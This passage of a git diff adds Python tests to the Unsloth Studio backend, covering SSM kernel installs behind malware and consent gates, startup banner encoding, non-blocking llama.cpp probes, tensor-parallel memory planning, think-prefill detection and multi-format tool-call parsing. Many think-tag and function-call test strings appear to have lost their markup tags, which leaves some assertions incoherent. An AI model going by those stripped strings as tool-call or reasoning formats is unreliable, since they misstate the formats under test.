/ "core" / "inference" / "worker.py").read_text() + assert "from utils.ssm_runtime import ensure_ssm_runtime" in src + assert "ensure_ssm_runtime(" in src + + +def test_inference_worker_skips_ssm_on_mlx_and_checks_lora_base(): + src = (_BACKEND / "core" / "inference" / "worker.py").read_text() + # MLX (Apple Silicon) must not try to build CUDA/ROCm SSM kernels. + assert 'getattr(backend, "device", None) != "mlx"' in src + # A LoRA load must also check its base model, not just the adapter id. + assert "mc.base_model" in src + + +def test_inference_worker_resolves_remote_lora_base_pre_import(): + # A remote LoRA's base (from the Hub adapter_config.json) must be resolved before the + # transformers import so its SSM kernels are pre-installed, not too late in _handle_load. + src = (_BACKEND / "core" / "inference" / "worker.py").read_text() + assert "_remote_lora_base" in src + + +def test_inference_worker_tiers_on_base_and_gates_lora_base_only(): + src = (_BACKEND / "core" / "inference" / "worker.py").read_text() + # Tier activation runs on the resolved base, not the raw adapter id (remote-LoRA fix). + assert "_activate_transformers_version(_base" in src + # The gate only adds a genuine LoRA base, never a full fine-tune's recorded (unloaded) base. + assert "_gate_targets" in src and "_lora_base" in src + + +def test_inference_worker_probes_base_for_ssm_kernels(): + # Both the pre-import path and _handle_load must derive SSM targets from a real model id + # via ssm_probe_identifier, not the raw adapter id / local checkpoint path. + src = (_BACKEND / "core" / "inference" / "worker.py").read_text() + assert src.count("ssm_probe_identifier(") >= 2 + + +def test_pre_import_gate_is_transformers_free(): + # The pre-import gate must not import transformers: security_load_subdirs pulls + # model_config -> transformers, which would snapshot SSM backend availability before the + # kernels install. With load_subdirs=() the malware + consent scans stay transformers-free. + import sys as _sys + from unittest.mock import patch + import utils.security.file_security as fs + import utils.security.consent as consent + + def _is_gated_module(name: str) -> bool: + return ( + name == "transformers" + or name.startswith("transformers.") + or name == "utils.models.model_config" + ) + + # Snapshot then remove the modules so we can assert the gate does not re-import them. + # Restore the originals afterwards (finally): popping utils.models.model_config without + # restoring it makes a later importer get a fresh instance, so tests that patched the + # first instance (e.g. test_vision_cache) miss and hit the real network path. + _saved = {m: _sys.modules[m] for m in list(_sys.modules) if _is_gated_module(m)} + for m in _saved: + _sys.modules.pop(m, None) + + try: + with patch.object(fs, "_fetch_security_status", return_value = None): + fs.evaluate_file_security("nvidia/Nemotron-H-8B", load_subdirs = ()) + with patch.object( + consent, "_load_remote_code_configs", return_value = [{"model_type": "nemotron_h"}] + ): + from utils.security import evaluate_remote_code_consent_for_targets + evaluate_remote_code_consent_for_targets( + ["nvidia/Nemotron-H-8B"], trust_remote_code = True + ) + + assert "transformers" not in _sys.modules + assert "utils.models.model_config" not in _sys.modules + finally: + # Drop anything the gate imported, then rebind the original module objects so later + # tests see the same instances they captured at import time. + for m in [m for m in list(_sys.modules) if _is_gated_module(m) and m not in _saved]: + _sys.modules.pop(m, None) + _sys.modules.update(_saved) + + +def test_pre_import_gate_skips_subdir_computation(): + # The worker's pre-import preflight must call the gate with compute_subdirs=False so it + # never imports model_config/transformers before the SSM kernels are installed. + src = (_BACKEND / "core" / "inference" / "worker.py").read_text() + assert "compute_subdirs = False" in src + + +def _call_linenos(tree, func_name, call_name): + import ast + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef) and node.name == func_name: + return [ + c.lineno + for c in ast.walk(node) + if isinstance(c, ast.Call) + and isinstance(c.func, ast.Name) + and c.func.id == call_name + ] + return [] + + +def test_security_gates_run_before_ssm_install(): + # The SSM install is name-based and can source-build native packages, so a malware / + # blocked-code model must be refused first -- in both the pre-import path and _handle_load. + import ast + tree = ast.parse((_BACKEND / "core" / "inference" / "worker.py").read_text()) + for fn in ("run_inference_process", "_handle_load"): + gates = _call_linenos(tree, fn, "_run_security_gates") + ssm = _call_linenos(tree, fn, "_ensure_ssm_kernels") + assert gates, f"{fn} must call _run_security_gates" + assert ssm, f"{fn} must call _ensure_ssm_kernels" + assert min(gates) < min(ssm), f"{fn} must gate before installing SSM kernels" + + +# ── drift guard vs the training worker (single source of truth) ─────────────── + + +def test_constants_match_training_worker(): + try: + from core.training import worker as tw + except Exception as exc: # pragma: no cover - only when training deps absent + pytest.skip(f"training worker not importable here: {exc}") + + assert set(ssm_runtime.SSM_MODEL_SUBSTRINGS) == set(tw._SSM_MODEL_SUBSTRINGS) + assert ssm_runtime.MAMBA_SSM_PACKAGE_VERSION == tw._MAMBA_SSM_PACKAGE_VERSION + assert ssm_runtime.MAMBA_SSM_RELEASE_TAG == tw._MAMBA_SSM_RELEASE_TAG + assert ssm_runtime.CAUSAL_CONV1D_PACKAGE_VERSION == tw._CAUSAL_CONV1D_PACKAGE_VERSION + assert ssm_runtime.CAUSAL_CONV1D_RELEASE_TAG == tw._CAUSAL_CONV1D_RELEASE_TAG + + # detection must agree with the training worker across SSM + non-SSM names + for name in ( + "unsloth/NVIDIA-Nemotron-3-Nano-4B", + "nvidia/Nemotron-H-8B", + "tiiuae/Falcon-H1-0.5B", + "ibm-granite/granite-4.0-h-micro", + "Qwen/Qwen3-Next-80B", + "LiquidAI/LFM2-1.2B", + "unsloth/Llama-3.2-1B-Instruct", + "unsloth/Qwen2.5-7B", + ): + assert ssm_runtime.model_wants_causal_conv1d(name) == tw._model_wants_causal_conv1d( + name + ), name diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index e82b741a7b..c8875bf5db 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -5,6 +5,9 @@ only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP) must show its real address.""" +import io +import sys + import pytest from startup_banner import print_studio_access_banner @@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys): def test_alias_loopback_shows_canned_url(capsys, host): print_studio_access_banner(port = 8891, bind_host = host, display_host = host) assert "http://127.0.0.1:8891" in capsys.readouterr().out + + +def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): + buf = io.BytesIO() + stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + stdout.flush() + + out = buf.getvalue().decode("cp1252") + assert "? Unsloth Studio is running" in out + + +def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): + class InvalidEncodingStdout: + encoding = "not-a-real-codec" + + def __init__(self): + self.buf = io.BytesIO() + self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict") + + def write(self, text): + return self.inner.write(text) + + def flush(self): + return self.inner.flush() + + def getvalue(self): + self.flush() + return self.buf.getvalue().decode("cp1252") + + stdout = InvalidEncodingStdout() + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + + assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/studio/backend/tests/test_startup_llama_probe_non_blocking.py b/studio/backend/tests/test_startup_llama_probe_non_blocking.py new file mode 100644 index 0000000000..eb5b8d0b5f --- /dev/null +++ b/studio/backend/tests/test_startup_llama_probe_non_blocking.py @@ -0,0 +1,98 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""The llama.cpp startup probes must run OFF the FastAPI lifespan critical path. + +Regression guard for the macOS slow-startup bug: the capability + freshness probes +(added in #5528/#5529) used to run inline in `lifespan`, so a cold/slow GitHub +freshness check blocked `Application startup complete` for tens of seconds. They now +run on a daemon thread, and are skipped entirely when update checks are disabled. +""" + +from __future__ import annotations + +import sys +import time +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +import main # noqa: E402 +import utils.llama_cpp_freshness as freshness # noqa: E402 +from core.inference.llama_cpp import LlamaCppBackend # noqa: E402 + +SLEEP = 5.0 + + +class _FakeApp: + class _State: + pass + + def __init__(self) -> None: + self.state = _FakeApp._State() + self.state.llama_cpp_capabilities = None + self.state.llama_cpp_freshness = None + + +@pytest.fixture(autouse = True) +def _fast_capability_probe(monkeypatch): + # Keep the (local) capability probe instant + offline so the freshness sleep + # is the only slow thing under test. + monkeypatch.setattr( + LlamaCppBackend, + "_find_llama_server_binary", + staticmethod(lambda: "/no/such/llama-server"), + ) + monkeypatch.setattr( + LlamaCppBackend, + "probe_server_capabilities", + staticmethod(lambda _b: {"found": False}), + ) + monkeypatch.delenv("UNSLOTH_DISABLE_UPDATE_CHECK", raising = False) + + +def test_probe_does_not_block_startup(monkeypatch): + """`_start_llama_cpp_probes_if_enabled` returns immediately even though the + freshness check sleeps for SLEEP seconds, then populates app.state later.""" + + def _slow_freshness(_bin, **_kw): + time.sleep(SLEEP) + return {"stale": False, "behind": False} + + monkeypatch.setattr(freshness, "check_prebuilt_freshness", _slow_freshness) + + app = _FakeApp() + t0 = time.monotonic() + main._start_llama_cpp_probes_if_enabled(app) + elapsed = time.monotonic() - t0 + + assert elapsed < 0.5, f"startup probe blocked the caller for {elapsed:.2f}s" + + # The daemon thread eventually populates app.state once the slow check returns. + deadline = time.monotonic() + SLEEP + 5 + while app.state.llama_cpp_freshness is None and time.monotonic() < deadline: + time.sleep(0.1) + assert app.state.llama_cpp_freshness == {"stale": False, "behind": False} + + +def test_disable_env_skips_probe_entirely(monkeypatch): + """UNSLOTH_DISABLE_UPDATE_CHECK=1 starts no probe thread and makes no call.""" + calls: list[int] = [] + + def _freshness(_bin, **_kw): + calls.append(1) + return {"stale": False} + + monkeypatch.setattr(freshness, "check_prebuilt_freshness", _freshness) + monkeypatch.setenv("UNSLOTH_DISABLE_UPDATE_CHECK", "1") + + app = _FakeApp() + main._start_llama_cpp_probes_if_enabled(app) + time.sleep(0.5) + + assert calls == [], "freshness check ran despite UNSLOTH_DISABLE_UPDATE_CHECK=1" + assert app.state.llama_cpp_freshness is None diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py index 1248386020..0d71b89d87 100644 --- a/studio/backend/tests/test_tensor_parallel.py +++ b/studio/backend/tests/test_tensor_parallel.py @@ -554,6 +554,8 @@ def test_probe_mtp_decode_uses_api_key_auth(monkeypatch): backend._api_key = "secret" backend._probe_mtp_decode(timeout = 1.0) assert captured["headers"] == {"Authorization": "Bearer secret"} + + assert captured["trust_env"] is False backend._api_key = None backend._probe_mtp_decode(timeout = 1.0) assert captured["headers"] is None @@ -744,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model(): b, (ec, mac, gi, ts) = _plan(50) reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB assert gi == [0, 1] - # split weighted by (usable - buffer); with no totals usable is free*frac + # split weighted by (usable - flat buffer - per-device context compute); with + # no totals usable is free*frac. The per-device cc is subtracted so the smaller + # card isn't weighted above its real usable budget (see below). + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + assert cc_per_dev > 0 assert ts == [ - int(48000 * _CTX_FIT_VRAM_FRACTION - reserve), - int(24000 * _CTX_FIT_VRAM_FRACTION - reserve), + int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), + int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), ] assert ec < 131072 # capped below native @@ -817,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context(): assert ec_mtp < ec_no +def test_tp_plan_reserves_context_linear_compute_buffer(): + # Tensor mode replicates the compute graph on every device; measured on + # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024 + # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or + # it over-pins and OOMs at high context. The chosen KV must leave room for it. + b, (ec, mac, gi, ts) = _plan(50) + cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16") + assert cc > 0 + assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50) + + +def test_tp_plan_context_shrinks_vs_compute_unaware(): + # With the context-linear term the pinned context is strictly below what a + # KV-only (compute-unaware) fit at the same budget would allow. + b, (ec, *_r) = _plan(50) + b2 = _kv_seeded_backend() + b2._embedding_length = 0 # kills the context-linear compute term (returns 0) + ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + assert ec < ec_naive + + +def test_tp_plan_soft_overhead_shrinks_context(): + # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit + # budget (model_size_fit) must also shrink the tensor context. Tensor mode has + # no --fit valve, so an unreserved overshoot OOMs at startup instead of + # offloading. A non-zero soft_overhead must pin a strictly smaller context. + b = _kv_seeded_backend() + ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + ec_soft, *_r2 = b._plan_tensor_parallel( + _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB + ) + assert 2048 < ec_soft < ec_no + + +def test_tp_plan_soft_overhead_reserved_against_budget(): + # The pinned context must leave the whole soft reserve free on top of KV and + # the replicated context compute, so the real footprint stays within the pool. + b = _kv_seeded_backend() + soft = 2 * _GB + ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft) + cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None) + assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50) + + +def test_tp_plan_weighted_split_keeps_small_gpu_within_budget(): + # Regression: the weighted split must subtract each device's replicated context + # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller + # card is weighted above its usable budget and OOMs at launch. Model the split: + # llama.cpp distributes weights+KV by the tensor-split weights; every device + # also holds the flat reserve plus its per-device context compute. + b, (ec, mac, gi, ts) = _plan(50) + assert ts is not None and len(ts) == len(gi) == 2 + reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + free_by_idx = {0: 48000, 1: 24000} + split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024) + total_weight = sum(ts) + for w, idx in zip(ts, gi): + placed = split_content_mib * w / total_weight + usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION + assert placed + reserve + cc_per_dev <= usable + 1 # +1 MiB for int rounding + + # Lock the regression: under the old formula (flat reserve only) the smaller + # card was placed over its budget; the cc term is what pulls it back. + old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi] + old_small_placed = split_content_mib * old_adj[1] / sum(old_adj) + assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION + + def test_tp_plan_no_kv_metadata_floors_context(): b = LlamaCppBackend() # no KV metadata -> can't size safely ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) diff --git a/studio/backend/tests/test_think_prefill_reemit.py b/studio/backend/tests/test_think_prefill_reemit.py new file mode 100644 index 0000000000..300ff92776 --- /dev/null +++ b/studio/backend/tests/test_think_prefill_reemit.py @@ -0,0 +1,89 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +""" +Unit tests for detect_think_prefill. + +Reasoning templates (Qwen3.6-style) end the generation prompt with an open +``\\n`` so the model starts reasoning immediately. skip_prompt +streaming drops that opening tag, so the safetensors/MLX paths must re-emit +it for the frontend's parser to render a thinking block. +""" + +import os +import sys + +_backend = os.path.join(os.path.dirname(__file__), "..") +sys.path.insert(0, _backend) + +from core.inference.chat_template_helpers import detect_think_prefill + + +QWEN_PROMPT = "<|im_start|>user\nHi!<|im_end|>\n<|im_start|>assistant\n" + + +def test_open_think_prefill_reemitted(): + """Qwen3.6-style enable_thinking=True prompt tail: \\n.""" + assert detect_think_prefill(QWEN_PROMPT + "\n") == "\n" + + +def test_bare_open_think_prefill_reemitted(): + """Prefill without trailing newline still detected.""" + assert detect_think_prefill(QWEN_PROMPT + "") == "" + + +def test_closed_think_prefill_not_reemitted(): + """enable_thinking=False prefills a closed, empty think block.""" + assert detect_think_prefill(QWEN_PROMPT + "\n\n\n\n") == "" + + +def test_prompt_without_think_untouched(): + """Non-reasoning templates produce no prefix.""" + assert detect_think_prefill(QWEN_PROMPT) == "" + + +def test_historical_think_blocks_ignored(): + """A closed think block in a prior assistant turn (preserve_thinking) + must not trigger re-emission when the generation tail is plain.""" + prompt = ( + "<|im_start|>user\nHi!<|im_end|>\n" + "<|im_start|>assistant\n\nprior reasoning\n\n\nHello!<|im_end|>\n" + "<|im_start|>user\nAgain?<|im_end|>\n<|im_start|>assistant\n" + ) + assert detect_think_prefill(prompt) == "" + + +def test_historical_blocks_plus_open_prefill(): + """Prior closed blocks plus a fresh open prefill: only the tail matters.""" + prompt = ( + "<|im_start|>assistant\n\nprior\n\n\nHello!<|im_end|>\n" + "<|im_start|>assistant\n\n" + ) + assert detect_think_prefill(prompt) == "\n" + + +def test_content_after_open_tag_not_reemitted(): + """If non-whitespace follows the tag it is not a plain prefill.""" + assert detect_think_prefill(QWEN_PROMPT + "\npartial reasoning") == "" + + +def test_empty_and_none_prompts(): + assert detect_think_prefill("") == "" + assert detect_think_prefill(None) == "" + + +def test_guard_suppresses_when_close_tag_is_special(): + """If is a special token, skip_special_tokens strips the model's + close tag, so re-emitting the open would leave an unclosed block. Guard off.""" + specials = ["<|im_end|>", "", ""] + assert detect_think_prefill(QWEN_PROMPT + "\n", specials) == "" + + +def test_guard_emits_when_think_not_special(): + specials = ["<|im_end|>", "<|endoftext|>"] + assert detect_think_prefill(QWEN_PROMPT + "\n", specials) == "\n" + + +def test_guard_default_and_empty_keep_emitting(): + assert detect_think_prefill(QWEN_PROMPT + "\n", None) == "\n" + assert detect_think_prefill(QWEN_PROMPT + "\n", []) == "\n" diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py index 8ff41342d7..c6da1e90e7 100644 --- a/studio/backend/tests/test_tool_call_parser_strict.py +++ b/studio/backend/tests/test_tool_call_parser_strict.py @@ -71,6 +71,26 @@ class TestFunctionStyleTrailingText: call = _only(text) assert call == {"name": "python", "arguments": {"code": 'print("")'}} + def test_closed_function_with_trailing_prose_heal_path(self): + # Regression: the heal path (allow_incomplete=True) must match the strict path -- + # keep a clean argument and leave trailing prose outside the call span. + text = "cats trailing words" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + fn = calls[0]["function"] + assert fn["name"] == "web_search" + assert json.loads(fn["arguments"]) == {"query": "cats"} + # The trailing prose sits outside the removed span, so it stays visible. + from core.tool_healing import ( + parse_tool_calls_from_text as _parse_with_spans, + ) + + _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True) + out = text + for s, e in sorted(spans, reverse = True): + out = out[:s] + out[e:] + assert out == " trailing words" + def test_incomplete_function_without_close_is_still_rejected(self): text = "weather london" assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] @@ -80,6 +100,24 @@ class TestFunctionStyleTrailingText: text = "weather london" assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + def test_attribute_form_literal_close_tag_is_preserved(self): + # The attribute form (MiniCPM-5 / MiniMax-M2) also ends at the + # LAST , so a literal close tag inside a code argument survives. + text = ( + '' + 'print("")' + " all done" + ) + call = _only(text) + assert call == {"name": "python", "arguments": {"code": 'print("")'}} + + def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self): + # A closed call with no parameters is a valid zero-argument call; strict + # mode must not treat the empty parameter list as a truncated call. + assert _only('') == {"name": "ping", "arguments": {}} + # A no-arg call that never closes is still rejected as truncated. + assert parse_tool_calls_from_text('', allow_incomplete = False) == [] + class TestParityWithJsonStyle: def test_json_tool_call_with_trailing_prose_is_accepted(self): @@ -106,9 +144,1678 @@ class TestParityWithJsonStyle: assert json.loads(js[0]["function"]["arguments"]) == {"query": q} +class TestGemmaNativeStyle: + def test_closed_native_call_with_trailing_prose_is_accepted(self): + text = ( + '<|tool_call>call:terminal{command:"ls -la",workdir:"."}' " running it now" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "terminal" + assert json.loads(calls[0]["function"]["arguments"]) == { + "command": "ls -la", + "workdir": ".", + } + + def test_unclosed_native_call_requires_healing(self): + text = '<|tool_call>call:terminal{command:"ls"}' + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "terminal" + + def test_hyphenated_native_argument_name_is_accepted(self): + text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}' + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "mcp__srv__create-issue" + assert json.loads(calls[0]["function"]["arguments"]) == {"issue-title": "Bug report"} + + def test_native_template_quotes_preserve_windows_path(self): + text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}' + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + + def test_bare_unquoted_string_values_are_accepted(self): + # Gemma can emit enum/string args unquoted; bare JSON scalars stay typed. + text = ( + "<|tool_call>call:get_weather{location:Tokyo,unit:celsius,days:3,live:true}" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert json.loads(calls[0]["function"]["arguments"]) == { + "location": "Tokyo", + "unit": "celsius", + "days": 3, + "live": True, + } + + +class TestLlama3PythonTagStrict: + def test_closed_dot_call_is_accepted(self): + text = '<|python_tag|>get_weather.call(location="Tokyo")' + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_weather" + assert json.loads(calls[0]["function"]["arguments"]) == {"location": "Tokyo"} + + def test_truncated_dot_call_is_rejected(self): + # No closing paren (depth > 0 at EOF): truncated, reject in strict mode. + text = '<|python_tag|>get_weather.call(location="Tokyo"' + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + # Auto-Heal still recovers it. + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + +class TestMistralArrayStrict: + def test_closed_array_is_accepted(self): + text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}]' + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "web_search" + + def test_unclosed_array_is_rejected(self): + # Missing the closing ]; strict mode must not heal it. + text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}' + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + # Auto-Heal still recovers the object by hand. + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + class TestHealingPathUnaffected: def test_auto_heal_still_repairs_unclosed_function(self): text = "cats" calls = parse_tool_calls_from_text(text, allow_incomplete = True) assert len(calls) == 1 assert calls[0]["function"]["name"] == "web_search" + + def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self): + # A call that DID close must parse identically to strict mode, leaving prose after + # out of the last parameter and the removal span. + from core.tool_healing import parse_tool_calls_from_text as parse_with_spans + + text = "cats trailing" + calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True) + (call,) = calls + assert json.loads(call["function"]["arguments"]) == {"query": "cats"} + (span,) = spans + assert text[span[0] : span[1]] == ( + "cats" + ) + + def test_wrapperless_fallback_calls_carry_spans(self): + # The wrapperless function-XML fallback must report spans too, so with_spans + # consumers strip exactly the promoted markup (through when closed). + from core.tool_healing import parse_tool_calls_from_text as parse_with_spans + + closed = "before cats after" + calls, spans = parse_with_spans(closed, allow_incomplete = True, with_spans = True) + (call,) = calls + assert json.loads(call["function"]["arguments"]) == {"query": "cats"} + (span,) = spans + assert closed[span[0] : span[1]] == ( + "cats" + ) + + healed = "x dogs" + calls, spans = parse_with_spans(healed, allow_incomplete = True, with_spans = True) + (call,) = calls + assert json.loads(call["function"]["arguments"]) == {"query": "dogs"} + (span,) = spans + assert healed[span[0] : span[1]] == "dogs" + + +class TestEnabledToolNameGate: + """``enabled_tool_names`` disambiguates the ambiguous bare-rehearsal + ``NAME[ARGS]{json}`` form (#5704): NAME is a call only when it is an active tool, + otherwise it is prose. ``None`` (the default) keeps the legacy unrestricted parse + so existing callers are unaffected.""" + + def _names(self, calls): + return [c["function"]["name"] for c in calls] + + def test_inactive_rehearsal_before_active_call_does_not_swallow_it(self): + # P1: an inactive ``foo[ARGS]{...}`` before a real call must not consume the real call. + text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert self._names(calls) == ["web_search"] + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_inactive_rehearsal_alone_is_not_a_call(self): + text = 'foo[ARGS]{"a":1}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + def test_active_rehearsal_is_still_parsed(self): + text = 'web_search[ARGS]{"query":"cats"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert self._names(calls) == ["web_search"] + + def test_unrestricted_gate_none_preserves_legacy_behavior(self): + # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed. + text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}' + assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"] + assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [ + "foo", + "web_search", + ] + + +class TestBracketCallSpans: + """with_spans tiling for Mistral bracket calls: promoted markup strips + exactly once, filtered calls' bytes stay visible, closers strip too.""" + + def test_mixed_array_filtered_first_keeps_its_bytes_only(self): + from core.inference.passthrough_healing import heal_openai_message_events + + tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}] + content = ( + '[TOOL_CALLS][{"name":"bad","arguments":{"x":1}},' + '{"name":"lookup","arguments":{"q":"cats"}}]' + ) + events = heal_openai_message_events( + {"role": "assistant", "content": content}, {"lookup"}, tools + ) + kinds = [k for k, _v in events] + assert kinds == ["text", "tool_call"] + text = events[0][1] + assert '"bad"' in text + # The promoted call's markup must not survive in the text event. + assert '"lookup"' not in text + + def test_mixed_array_filtered_second_stays_visible(self): + from core.inference.passthrough_healing import heal_openai_message_events + + tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}] + content = ( + '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"cats"}},' + '{"name":"bad","arguments":{"x":1}}]' + ) + events = heal_openai_message_events( + {"role": "assistant", "content": content}, {"lookup"}, tools + ) + assert events[0][0] == "tool_call" + trailing = "".join(v for k, v in events if k == "text") + assert '"bad"' in trailing + + def test_v11_closer_inside_span(self): + from core.tool_healing import parse_tool_calls_from_text as parse_with_spans + + text = '[TOOL_CALLS]web_search[ARGS]{"query":"cats"}[/TOOL_CALLS] after' + calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True) + (call,) = calls + assert call["function"]["name"] == "web_search" + (span,) = spans + assert text[span[0] : span[1]].endswith("[/TOOL_CALLS]") + assert text[span[1] :] == " after" + + def test_fully_promoted_array_strips_whole_region(self): + from core.inference.passthrough_healing import heal_openai_message_events + + tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}] + content = ( + '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"a"}},' + '{"name":"lookup","arguments":{"q":"b"}}] after' + ) + events = heal_openai_message_events( + {"role": "assistant", "content": content}, {"lookup"}, tools + ) + assert [k for k, _v in events] == ["tool_call", "tool_call", "text"] + assert events[2][1] == " after" + + +class TestMistralArrayHealing: + """Draining the whole [TOOL_CALLS] array for the shapes the repo's own + Mistral/Ollama templates emit.""" + + def test_comma_less_multi_call_array_parses_all_calls(self): + # ollama_template_mappers.py renders multi-call turns as [{...}{...}] with no + # comma separator; a single json.loads of the body rejects it and dropped every + # call. The element-by-element decode must recover all of them. + text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}}{"name":"b","arguments":{"y":2}}]' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["a", "b"] + assert json.loads(calls[0]["function"]["arguments"]) == {"x": 1} + assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2} + + def test_comma_separated_and_single_arrays_still_parse(self): + both = parse_tool_calls_from_text( + '[TOOL_CALLS] [{"name":"a","arguments":{}},{"name":"b","arguments":{}}]' + ) + assert [c["function"]["name"] for c in both] == ["a", "b"] + one = parse_tool_calls_from_text('[TOOL_CALLS] [{"name":"a","arguments":{}}]') + assert [c["function"]["name"] for c in one] == ["a"] + + def test_mistral_array_null_arguments_normalized_to_empty_object(self): + # ``"arguments": null`` is a no-arg call; it must become {} (as the + # path does), not the string "null" that auto-heal turns into {"query":"null"}. + calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]') + assert calls[0]["function"]["arguments"] == "{}" + + +class TestGlmStrict: + def test_closed_glm_call_is_accepted(self): + text = ( + "get_weather\n" + "city\nParis\n" + "" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_weather" + + def test_unclosed_glm_call_is_rejected(self): + # No close: truncated, reject with Auto-Heal off. + text = "get_weather\ncity\nParis" + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + +class 